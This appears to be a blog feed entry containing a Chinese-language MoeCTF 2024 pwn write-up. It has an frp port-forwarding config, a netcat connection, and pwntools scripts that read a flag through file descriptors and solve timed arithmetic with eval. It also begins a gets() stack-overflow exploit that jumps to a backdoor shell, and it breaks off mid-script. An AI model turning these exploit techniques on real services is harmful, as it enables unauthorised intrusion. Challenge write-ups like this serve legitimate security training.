EDS - 2024年8月
type: channel
link: http://www.ericdshen.com/index.php/2024/08/
description: EDS blog
items: Moectf2024-writeup

Moectf2024-writeup
type: item
date: 2024-08-17T14:40:00+00:00
description: Moectfwppwn比赛方提供的工具开放的端口并不对外，需要用frp做个端口转发再用虚拟机的pwntools链接frps.ini[common] bind_port = 7000frpc.ini[common] server_addr = 127.0.0.1 server_port = 7000 type = tcp local_ip=127.0.0.1 local_port = 7818 #目标端口 custom_domains = 127.0.0.1 remote_port = 1212 #本地映射二进制漏洞审计入门指北nc链接直接出nc 192.168.248.1 1212 Hey, how did you get here? I've been waiting so long, for anyone... To honor your courage, I decided to give you a flag. But next time, it won't be so easy. moectf{Welcome_to_the_journey_of_Pwn} Good luck. By the way, netcat is not a cat!flag_helper# coding=utf-8 from pwn import * r = remote('192.168.248.1',1212) # 选玩游戏，别的选项都是耍你 print(r.recvuntil(">")) r.sendline("4") # 读flag print(r.recvuntil(">")) r.sendline("/flag") # 读属性是4 print(r.recvuntil(">")) r.sendline("4") # 不知道为啥777不行，疑似是啥玩意的保护 print(r.recvuntil(">")) r.sendline("766") # 开一块空间 print(r.recvuntil(">")) r.sendline("7777") # 除了flag还读了4个没有用的东西，0是i流 1是o流 2是e流 3是第一个 4是第二个 5是flag 6是剩下那个没有用的 print(r.recvuntil(">")) r.sendline("5") r.interactive()NotEnoughTime前面两个是固定的，后边截取=之前的，把中间的\n去掉，eval完还回去。# coding=utf-8 from pwn import * r = remote('192.168.248.1',1212) elf = ELF('./format') r.recvuntil("=") r.sendline('2') r.recvuntil("=") r.sendline('0') r.recvuntil("\n") for i in range(20): s = "".join(r.recvuntil("=",drop=True).split("\n")) print(s) calcs = eval(s) print(calcs) r.sendline(str(calcs)) r.interactive()no_more_getsmain()函数的gets()函数存在暴力栈溢出，直接暴力栈溢出跳到后门处int __cdecl main(int argc, const char **argv, const char **envp) { char s1[80]; // [rsp+0h] [rbp-A0h] BYREF char s2[80]; // [rsp+50h] [rbp-50h] BYREF init(argc, argv, envp); arc4random_buf(s1, 80LL); write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL); gets(s2); if ( !strncmp(s1, s2, 0x50uLL) ) my_shell(); else write(1, "Password wrong!\n", 0x11uLL); return 0; }exp# coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./lockedshell') #gdb.attach(r,"b * 0x8049F9C") gdb.attach(r,"b * 0x40129E") else: r = remote('192…